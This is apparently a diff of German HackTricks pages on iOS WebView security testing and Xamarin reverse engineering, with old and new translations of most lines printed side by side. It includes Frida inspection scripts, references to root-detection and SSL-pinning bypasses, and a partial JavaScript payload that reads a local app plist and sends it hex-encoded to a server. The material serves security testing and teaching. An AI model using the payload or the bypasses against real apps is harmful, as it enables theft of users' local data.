Die dynamische Analyse beinhaltet die Untersuchung des Heaps nach WebView-Instanzen und deren Eigenschaften. Ein Skript namens `webviews_inspector.js` wird zu diesem Zweck verwendet und zielt auf `UIWebView`, `WKWebView` und `SFSafariViewController`-Instanzen ab. Es protokolliert Informationen über gefundene Instanzen, einschließlich URLs und Einstellungen in Bezug auf JavaScript und sichere Inhalte.
Die dynamische Analyse umfasst die Inspektion des Heaps nach WebView-Instanzen und deren Eigenschaften. Ein Skript namens `webviews_inspector.js` wird zu diesem Zweck verwendet und zielt auf `UIWebView`, `WKWebView` und `SFSafariViewController`-Instanzen ab. Es protokolliert Informationen über gefundene Instanzen, einschließlich URLs und Einstellungen im Zusammenhang mit JavaScript und sicherem Inhalt.
Die Heap-Inspektion kann mithilfe von `ObjC.choose()` durchgeführt werden, um WebView-Instanzen zu identifizieren und die Eigenschaften `javaScriptEnabled` und `hasonlysecurecontent` zu überprüfen.
Die Heap-Inspektion kann mit `ObjC.choose()` durchgeführt werden, um WebView-Instanzen zu identifizieren und die Eigenschaften `javaScriptEnabled` und `hasonlysecurecontent` zu überprüfen.
{% code title="webviews_inspector.js" %}
```javascript
@ -121,30 +121,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
```
{% endcode %}
Das Skript wird mit folgendem Befehl ausgeführt:
Das Skript wird ausgeführt mit:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Hauptergebnisse**:
- Instanzen von WebViews werden erfolgreich lokalisiert und überprüft.
- Die Aktivierung von JavaScript und die Einstellungen für sichere Inhalte werden überprüft.
**Wichtige Ergebnisse**:
- Instanzen von WebViews werden erfolgreich lokalisiert und inspiziert.
- Die Aktivierung von JavaScript und die sicheren Inhaltseinstellungen werden überprüft.
Diese Zusammenfassung umfasst die wesentlichen Schritte und Befehle zur Analyse von WebView-Konfigurationen durch statische und dynamische Ansätze, wobei der Schwerpunkt auf Sicherheitsfunktionen wie der Aktivierung von JavaScript und der Erkennung von gemischtem Inhalt liegt.
Diese Zusammenfassung fasst die kritischen Schritte und Befehle zusammen, die an der Analyse von WebView-Konfigurationen durch statische und dynamische Ansätze beteiligt sind, wobei der Fokus auf Sicherheitsfunktionen wie der Aktivierung von JavaScript und der Erkennung gemischter Inhalte liegt.
## Behandlung von WebView-Protokollen
## WebView-Protokollverarbeitung
Die Behandlung von Inhalten in WebViews ist ein entscheidender Aspekt, insbesondere beim Umgang mit verschiedenen Protokollen wie `http(s)://`, `file://` und `tel://`. Diese Protokolle ermöglichen das Laden von sowohl remote als auch lokal gespeicherten Inhalten in Apps. Es wird betont, dass beim Laden von lokalen Inhalten Vorsichtsmaßnahmen getroffen werden müssen, um zu verhindern, dass Benutzer den Dateinamen oder -pfad beeinflussen oder den Inhalt selbst bearbeiten können.
Die Verarbeitung von Inhalten in WebViews ist ein kritischer Aspekt, insbesondere beim Umgang mit verschiedenen Protokollen wie `http(s)://`, `file://` und `tel://`. Diese Protokolle ermöglichen das Laden von sowohl entfernten als auch lokalen Inhalten innerhalb von Apps. Es wird betont, dass beim Laden lokaler Inhalte Vorsichtsmaßnahmen getroffen werden müssen, um zu verhindern, dass Benutzer den Namen oder den Pfad der Datei beeinflussen oder den Inhalt selbst bearbeiten.
**WebViews** bieten verschiedene Methoden zum Laden von Inhalten. Für **UIWebView**, das jetzt veraltet ist, werden Methoden wie `loadHTMLString:baseURL:` und `loadData:MIMEType:textEncodingName:baseURL:` verwendet. **WKWebView** hingegen verwendet `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` und `loadRequest:` für Webinhalte. Methoden wie `pathForResource:ofType:`, `URLForResource:withExtension:` und `init(contentsOf:encoding:)` werden normalerweise zum Laden von lokalen Dateien verwendet. Die Methode `loadFileURL:allowingReadAccessToURL:` ist besonders bemerkenswert, da sie eine bestimmte URL oder ein Verzeichnis in den WebView laden kann und dabei potenziell sensible Daten offenlegen kann, wenn ein Verzeichnis angegeben ist.
**WebViews** bieten verschiedene Methoden zum Laden von Inhalten. Für **UIWebView**, das jetzt veraltet ist, werden Methoden wie `loadHTMLString:baseURL:` und `loadData:MIMEType:textEncodingName:baseURL:` verwendet. **WKWebView** hingegen verwendet `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` und `loadRequest:` für Webinhalte. Methoden wie `pathForResource:ofType:`, `URLForResource:withExtension:` und `init(contentsOf:encoding:)` werden typischerweise zum Laden lokaler Dateien verwendet. Die Methode `loadFileURL:allowingReadAccessToURL:` ist besonders bemerkenswert für ihre Fähigkeit, eine bestimmte URL oder ein Verzeichnis in den WebView zu laden, was potenziell sensible Daten offenlegen kann, wenn ein Verzeichnis angegeben wird.
Um diese Methoden im Quellcode oder im kompilierten Binärformat zu finden, können Befehle wie die folgenden verwendet werden:
Um diese Methoden im Quellcode oder in der kompilierten Binärdatei zu finden, können Befehle wie die folgenden verwendet werden:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
In Bezug auf den **Dateizugriff** ermöglicht UIWebView dies universell, während WKWebView die Einstellungen `allowFileAccessFromFileURLs` und `allowUniversalAccessFromFileURLs` einführt, um den Zugriff von Datei-URLs zu verwalten. Beide Einstellungen sind standardmäßig auf false gesetzt.
Bezüglich **Dateizugriff** erlaubt UIWebView diesen universell, während WKWebView die Einstellungen `allowFileAccessFromFileURLs` und `allowUniversalAccessFromFileURLs` einführt, um den Zugriff von Datei-URLs zu verwalten, wobei beide standardmäßig auf false gesetzt sind.
Ein Beispiel für ein Frida-Skript wird bereitgestellt, um die Sicherheitseinstellungen von **WKWebView** zu überprüfen:
Ein Frida-Skriptbeispiel wird bereitgestellt, um die **WKWebView**-Konfigurationen für Sicherheitseinstellungen zu inspizieren:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
@ -162,7 +162,7 @@ console.log('done for WKWebView!');
}
});
```
Zuletzt wird ein Beispiel für eine JavaScript-Payload gezeigt, die darauf abzielt, lokale Dateien zu exfiltrieren und das potenzielle Sicherheitsrisiko bei unsachgemäß konfigurierten WebViews verdeutlicht. Diese Payload kodiert den Dateiinhalt in hexadezimaler Form, bevor er an einen Server übertragen wird, was die Bedeutung strenger Sicherheitsmaßnahmen bei der Implementierung von WebViews hervorhebt.
Zuletzt zeigt ein Beispiel für eine JavaScript-Nutzlast, die darauf abzielt, lokale Dateien zu exfiltrieren, das potenzielle Sicherheitsrisiko, das mit unsachgemäß konfigurierten WebViews verbunden ist. Diese Nutzlast kodiert den Inhalt von Dateien in das Hex-Format, bevor sie an einen Server übertragen wird, und hebt die Bedeutung strenger Sicherheitsmaßnahmen in WebView-Implementierungen hervor.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
@ -185,14 +185,14 @@ xhr2.send(null);
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## Native Methoden, die durch WebViews freigelegt werden
## Native Methoden, die durch WebViews exponiert werden
## Verständnis der nativen Schnittstellen von WebViews in iOS
## Verständnis der WebView-Nativen Schnittstellen in iOS
Ab iOS 7 hat Apple APIs zur **Kommunikation zwischen JavaScript in einem WebView und nativen** Swift- oder Objective-C-Objekten bereitgestellt. Diese Integration wird hauptsächlich durch zwei Methoden ermöglicht:
Seit iOS 7 bietet Apple APIs für **die Kommunikation zwischen JavaScript in einem WebView und nativen** Swift- oder Objective-C-Objekten. Diese Integration wird hauptsächlich durch zwei Methoden erleichtert:
- **JSContext**: Eine JavaScript-Funktion wird automatisch erstellt, wenn ein Swift- oder Objective-C-Block mit einem Bezeichner in einem `JSContext` verknüpft wird. Dadurch wird eine nahtlose Integration und Kommunikation zwischen JavaScript und nativem Code ermöglicht.
- **JSExport-Protokoll**: Durch Vererbung des `JSExport`-Protokolls können native Eigenschaften, Instanzmethoden und Klassenmethoden für JavaScript freigelegt werden. Dies bedeutet, dass Änderungen, die in der JavaScript-Umgebung vorgenommen werden, in der nativen Umgebung gespiegelt werden und umgekehrt. Es ist jedoch wichtig sicherzustellen, dass sensible Daten nicht versehentlich über diese Methode freigelegt werden.
- **JSContext**: Eine JavaScript-Funktion wird automatisch erstellt, wenn ein Swift- oder Objective-C-Block mit einem Bezeichner innerhalb eines `JSContext` verknüpft wird. Dies ermöglicht eine nahtlose Integration und Kommunikation zwischen JavaScript und nativen Code.
- **JSExport-Protokoll**: Durch die Vererbung des `JSExport`-Protokolls können native Eigenschaften, Instanzmethoden und Klassenmethoden für JavaScript exponiert werden. Das bedeutet, dass alle Änderungen, die in der JavaScript-Umgebung vorgenommen werden, in der nativen Umgebung gespiegelt werden und umgekehrt. Es ist jedoch wichtig sicherzustellen, dass sensible Daten nicht unbeabsichtigt durch diese Methode exponiert werden.
### Zugriff auf `JSContext` in Objective-C
@ -202,7 +202,7 @@ In Objective-C kann der `JSContext` für ein `UIWebView` mit der folgenden Codez
```
### Kommunikation mit `WKWebView`
Für `WKWebView` ist kein direkter Zugriff auf `JSContext` verfügbar. Stattdessen wird die Nachrichtenübermittlung über die Funktion `postMessage` genutzt, um die Kommunikation zwischen JavaScript und der nativen Anwendung zu ermöglichen. Handler für diese Nachrichten werden wie folgt eingerichtet, um eine sichere Interaktion zwischen JavaScript und der nativen Anwendung zu ermöglichen:
Für `WKWebView` ist der direkte Zugriff auf `JSContext` nicht verfügbar. Stattdessen wird die Nachrichtenübermittlung über die Funktion `postMessage` genutzt, die die Kommunikation zwischen JavaScript und der nativen Anwendung ermöglicht. Handler für diese Nachrichten werden wie folgt eingerichtet, um JavaScript eine sichere Interaktion mit der nativen Anwendung zu ermöglichen:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
@ -217,7 +217,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
```
### Interaktion und Testen
JavaScript kann mit der nativen Ebene interagieren, indem ein Skript-Nachrichten-Handler definiert wird. Dadurch können Operationen wie das Aufrufen von nativen Funktionen von einer Webseite aus durchgeführt werden:
JavaScript kann mit der nativen Schicht interagieren, indem es einen Skript-Nachrichtenhandler definiert. Dies ermöglicht Operationen wie das Aufrufen nativer Funktionen von einer Webseite:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
@ -228,7 +228,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Um das Ergebnis eines nativen Funktionsaufrufs zu erfassen und zu manipulieren, kann man die Rückruffunktion innerhalb des HTMLs überschreiben:
Um das Ergebnis eines nativen Funktionsaufrufs zu erfassen und zu manipulieren, kann man die Callback-Funktion innerhalb des HTML überschreiben:
```html
<html>
<script>
@ -239,7 +239,7 @@ alert(result);
</script>
</html>
```
Die native Seite behandelt den JavaScript-Aufruf wie in der Klasse `JavaScriptBridgeMessageHandler` gezeigt. Dort wird das Ergebnis von Operationen wie der Multiplikation von Zahlen verarbeitet und an JavaScript zur Anzeige oder weiteren Manipulation zurückgesendet:
Die native Seite verarbeitet den JavaScript-Aufruf, wie in der Klasse `JavaScriptBridgeMessageHandler` gezeigt, wo das Ergebnis von Operationen wie der Multiplikation von Zahlen verarbeitet und zur Anzeige oder weiteren Manipulation an JavaScript zurückgesendet wird:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
@ -256,36 +256,37 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
(Tutorial basierend auf dem von [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Um Webinhalte innerhalb von iOS-Webviews effektiv zu debuggen, ist eine spezifische Einrichtung erforderlich, die die Entwicklertools von Safari verwendet, da Nachrichten, die an `console.log()` gesendet werden, nicht in den Xcode-Protokollen angezeigt werden. Hier ist eine vereinfachte Anleitung, die die wichtigsten Schritte und Anforderungen hervorhebt:
Um Webinhalte innerhalb von iOS-Webviews effektiv zu debuggen, ist eine spezifische Einrichtung erforderlich, die die Entwicklertools von Safari nutzt, da Nachrichten, die an `console.log()` gesendet werden, nicht in den Xcode-Protokollen angezeigt werden. Hier ist eine vereinfachte Anleitung, die die wichtigsten Schritte und Anforderungen hervorhebt:
- **Vorbereitung auf dem iOS-Gerät**: Der Safari Web Inspector muss auf Ihrem iOS-Gerät aktiviert sein. Dies erfolgt, indem Sie zu **Einstellungen > Safari > Erweitert** gehen und den _Web Inspector_ aktivieren.
- **Vorbereitung auf dem iOS-Gerät**: Der Safari-Webinspektor muss auf Ihrem iOS-Gerät aktiviert werden. Dies geschieht, indem Sie zu **Einstellungen > Safari > Erweitert** gehen und den _Webinspektor_ aktivieren.
- **Vorbereitung auf dem macOS-Gerät**: Auf Ihrem macOS-Entwicklungscomputer müssen Sie die Entwicklertools in Safari aktivieren. Starten Sie Safari, rufen Sie **Safari > Einstellungen > Erweitert** auf und wählen Sie die Option _Entwicklermenü anzeigen_.
- **Vorbereitung auf dem macOS-Gerät**: Auf Ihrem macOS-Entwicklungsrechner müssen Sie die Entwicklertools in Safari aktivieren. Starten Sie Safari, greifen Sie auf **Safari > Einstellungen > Erweitert** zu und wählen Sie die Option _Entwicklungsmenü anzeigen_.
- **Verbindung und Debugging**: Nachdem Sie Ihr iOS-Gerät mit Ihrem macOS-Computer verbunden und Ihre Anwendung gestartet haben, verwenden Sie Safari auf Ihrem macOS-Gerät, um den Webview auszuwählen, den Sie debuggen möchten. Navigieren Sie zu _Entwickeln_ in der Menüleiste von Safari, fahren Sie mit der Maus über den Namen Ihres iOS-Geräts, um eine Liste der Webview-Instanzen anzuzeigen, und wählen Sie die Instanz aus, die Sie inspizieren möchten. Ein neues Fenster des Safari Web Inspectors wird zu diesem Zweck geöffnet.
- **Verbindung und Debugging**: Nachdem Sie Ihr iOS-Gerät mit Ihrem macOS-Computer verbunden und Ihre Anwendung gestartet haben, verwenden Sie Safari auf Ihrem macOS-Gerät, um das Webview auszuwählen, das Sie debuggen möchten. Navigieren Sie zu _Entwickeln_ in der Menüleiste von Safari, fahren Sie mit der Maus über den Namen Ihres iOS-Geräts, um eine Liste der Webview-Instanzen anzuzeigen, und wählen Sie die Instanz aus, die Sie inspizieren möchten. Ein neues Safari-Webinspektor-Fenster wird zu diesem Zweck geöffnet.
Beachten Sie jedoch die Einschränkungen:
Seien Sie sich jedoch der Einschränkungen bewusst:
- Das Debuggen mit dieser Methode erfordert ein macOS-Gerät, da es auf Safari angewiesen ist.
- Nur Webviews in über Xcode auf Ihr Gerät geladenen Anwendungen können debuggt werden. Webviews in über den App Store oder Apple Configurator installierten Apps können nicht auf diese Weise debuggt werden.
- Das Debugging mit dieser Methode erfordert ein macOS-Gerät, da es auf Safari angewiesen ist.
- Nur Webviews in Anwendungen, die über Xcode auf Ihr Gerät geladen wurden, sind für das Debugging berechtigt. Webviews in Apps, die über den App Store oder Apple Configurator installiert wurden, können auf diese Weise nicht debuggt werden.
## Referenzen
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,48 +1,49 @@
# Xamarin Apps
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Null bis zum Experten mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
Dies ist eine Zusammenfassung des Blog-Beitrags [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
Dies ist eine Zusammenfassung des Blogbeitrags [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
## **Grundlegende Informationen**
## **Grundinformationen**
Xamarin ist eine **Open-Source-Plattform**, die für Entwickler entwickelt wurde, um Apps für iOS, Android und Windows mit den .NET- und C#-Frameworks zu erstellen. Diese Plattform bietet Zugriff auf zahlreiche Tools und Erweiterungen, um moderne Anwendungen effizient zu erstellen.
Xamarin ist eine **Open-Source-Plattform**, die für Entwickler konzipiert wurde, um **Apps für iOS, Android und Windows** mit den .NET- und C#-Frameworks zu erstellen. Diese Plattform bietet Zugang zu zahlreichen Tools und Erweiterungen, um moderne Anwendungen effizient zu erstellen.
### Xamarin-Architektur
- Für **Android** integriert Xamarin Android- und Java-Namespace über .NET-Bindungen und arbeitet in der Mono-Ausführungsumgebung neben der Android Runtime (ART). Managed Callable Wrappers (MCW) und Android Callable Wrappers (ACW) erleichtern die Kommunikation zwischen Mono und ART, die beide auf dem Linux-Kernel aufbauen.
- Für **iOS** werden Anwendungen unter der Mono-Laufzeit ausgeführt und nutzen die vollständige Ahead-of-Time (AOT)-Kompilierung, um C# .NET-Code in ARM-Assemblercode umzuwandeln. Dieser Prozess läuft neben der Objective-C-Laufzeit auf einem UNIX-ähnlichen Kernel.
- Für **Android** integriert sich Xamarin über .NET-Bindungen mit Android- und Java-Namensräumen und arbeitet innerhalb der Mono-Ausführungsumgebung zusammen mit der Android Runtime (ART). Managed Callable Wrappers (MCW) und Android Callable Wrappers (ACW) erleichtern die Kommunikation zwischen Mono und ART, die beide auf dem Linux-Kernel basieren.
- Für **iOS** laufen Anwendungen unter der Mono-Laufzeit und nutzen die vollständige Ahead of Time (AOT)-Kompilierung, um C# .NET-Code in ARM-Assemblersprache zu konvertieren. Dieser Prozess läuft zusammen mit der Objective-C-Laufzeit auf einem UNIX-ähnlichen Kernel.
### .NET-Laufzeit und Mono-Framework
Das **.NET-Framework** umfasst Assemblys, Klassen und Namespaces für die Anwendungsentwicklung, wobei die .NET-Laufzeit die Codeausführung verwaltet. Es bietet Plattformunabhängigkeit und Abwärtskompatibilität. Das **Mono-Framework** ist eine Open-Source-Version des .NET-Frameworks, das 2005 gestartet wurde, um .NET auf Linux zu erweitern. Es wird jetzt von Microsoft unterstützt und von Xamarin geleitet.
Das **.NET-Framework** umfasst Assemblies, Klassen und Namensräume für die Anwendungsentwicklung, wobei die .NET-Laufzeit die Codeausführung verwaltet. Es bietet Plattformunabhängigkeit und Abwärtskompatibilität. Das **Mono-Framework** ist eine Open-Source-Version des .NET-Frameworks, die 2005 initiiert wurde, um .NET auf Linux zu erweitern, jetzt von Microsoft unterstützt und von Xamarin geleitet.
### Reverse Engineering von Xamarin-Apps
#### Dekompilierung von Xamarin-Assemblys
#### Dekompilierung von Xamarin-Assemblies
Die Dekompilierung wandelt kompilierten Code wieder in Quellcode um. In Windows kann das Fenster "Module" in Visual Studio Module zur Dekompilierung identifizieren, was einen direkten Zugriff auf Code von Drittanbietern und die Extraktion von Quellcode zur Analyse ermöglicht.
Die Dekompilierung verwandelt kompilierten Code zurück in Quellcode. In Windows kann das Module-Fenster in Visual Studio Module zur Dekompilierung identifizieren, was direkten Zugriff auf Drittanbieter-Code und die Extraktion von Quellcode zur Analyse ermöglicht.
#### JIT vs AOT-Kompilierung
- **Android** unterstützt Just-In-Time (JIT)- und Ahead-Of-Time (AOT)-Kompilierung mit einem Hybrid-AOT-Modus für optimale Ausführungsgeschwindigkeit. Die vollständige AOT ist exklusiv für Enterprise-Lizenzen.
- **iOS** verwendet ausschließlich AOT-Kompilierung aufgrund der Einschränkungen von Apple für die Ausführung von dynamischem Code.
- **Android** unterstützt Just-In-Time (JIT) und Ahead-Of-Time (AOT)-Kompilierung, mit einem Hybrid-AOT-Modus für optimale Ausführungsgeschwindigkeit. Vollständige AOT ist exklusiv für Enterprise-Lizenzen.
- **iOS** verwendet ausschließlich AOT-Kompilierung aufgrund von Apples Einschränkungen bei der dynamischen Codeausführung.
### Extrahieren von DLL-Dateien aus APK/IPA
### Extrahieren von dll-Dateien aus APK/IPA
Um auf die Assemblys in einer APK/IPA zuzugreifen, entpacken Sie die Datei und erkunden Sie das Verzeichnis der Assemblys. Für Android können Tools wie [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) und [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) DLL-Dateien entpacken.
Um auf die Assemblies in einer APK/IPA zuzugreifen, entpacken Sie die Datei und erkunden Sie das Assemblies-Verzeichnis. Für Android können Tools wie [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) und [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) dll-Dateien dekomprimieren.
```bash
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
@ -50,13 +51,13 @@ Für Assembly-Blobs in Android kann [pyxamstore](https://github.com/jakev/pyxams
```bash
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
iOS-DLL-Dateien sind leicht zugänglich und können dekompiliert werden, wodurch erhebliche Teile des Anwendungscode offengelegt werden, der oft eine gemeinsame Basis für verschiedene Plattformen hat.
iOS-DLL-Dateien sind leicht zugänglich für die Dekompilierung, was erhebliche Teile des Anwendungscodes offenbart, der oft eine gemeinsame Basis über verschiedene Plattformen hinweg teilt.
### Dynamische Analyse
Die dynamische Analyse umfasst die Überprüfung von SSL-Pinning und die Verwendung von Tools wie [Fridax](https://github.com/NorthwaveSecurity/fridax) für Laufzeitmodifikationen der .NET-Binärdatei in Xamarin-Apps. Frida-Skripte stehen zur Verfügung, um die Root-Erkennung oder das SSL-Pinning zu umgehen und die Analysefähigkeiten zu verbessern.
Die dynamische Analyse umfasst die Überprüfung auf SSL-Pinning und die Verwendung von Tools wie [Fridax](https://github.com/NorthwaveSecurity/fridax) für Laufzeitmodifikationen der .NET-Binärdatei in Xamarin-Apps. Frida-Skripte sind verfügbar, um die Root-Erkennung oder das SSL-Pinning zu umgehen, was die Analysefähigkeiten verbessert.
Andere interessante Frida-Skripte:
Weitere interessante Frida-Skripte:
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
@ -67,16 +68,17 @@ Andere interessante Frida-Skripte:
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
